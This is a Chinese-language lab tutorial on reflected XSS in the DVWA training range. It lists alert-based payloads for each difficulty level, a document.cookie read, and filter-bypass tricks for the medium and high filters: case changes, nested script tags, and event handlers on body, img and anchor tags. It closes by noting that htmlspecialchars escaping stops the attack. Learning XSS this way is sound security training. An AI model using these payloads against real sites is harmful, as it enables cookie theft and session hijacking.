1.搭建靶场DVWA
本次xss实验测试在DVMA靶场环境下进行测试
DVWA下载地址
https://github.com/digininja/DVWA
2.反射型xss原理
3.xss反射型low级演示
一. 将DVWA的难度级别设置为low
查看源代码,可以看到没有对参数做任何防御处理措施,直接输出
二. 尝试一般的xss攻击
<script>alert(1)</script>
<body onload=alert(2)>
<a href='' onclick=alert(3)>click1</a>
#点击click1时弹出3
<img src=http://192.168.10.128/a.jpg onerror=alert(4)>
#src地址错误,然后执行onerror的内容
三.获取cookie
1.<script>alert(document.cookie)</script>
4.xss反射型medium级演示
1.设置DVWA难度级别为中
分析源码,可以看到使用str_replace函数只对参数进行了简单的替换,过滤
2.绕过DVWA medium防御
2.1大小写绕过
<Script>alert('xxx')</script>
2.2组合过滤条件绕过
<scr<script>ipt>alert('sss')</script>
<javascript:"alert('xxs')">
2.3尝试使用别的标签来绕过
<body onload=alert('s')>
<a href='' onclick=alert('ss')>click</a>
<a href='' onclick=alert(/ss/)>click</a>
5.xss反射型high级演练
1.设置难度级别为高级
分析源码,可以看到,使用了preg_replace正则表达式函数,对参数进行过滤,查看源码可以看到对<script>
标签进行了严格的过滤,但没有过滤别的标签,此时可以通过img、body等标签的事件或者iframe等标签的src注入恶意的js代码
2. 尝试使用别的标签来绕过
<body onload=alert('s')>
<img src="" onerror=alert('xss')>
<a href='' onclick=alert('ss')>click</a>
<a href='' onclick=alert(/ss/)>click</a>
6.xss反射型impossible级
查看源代码,可以看到使用htmlspecialchars函数对参数进行html实体转义,此时就无法利用XSS漏洞了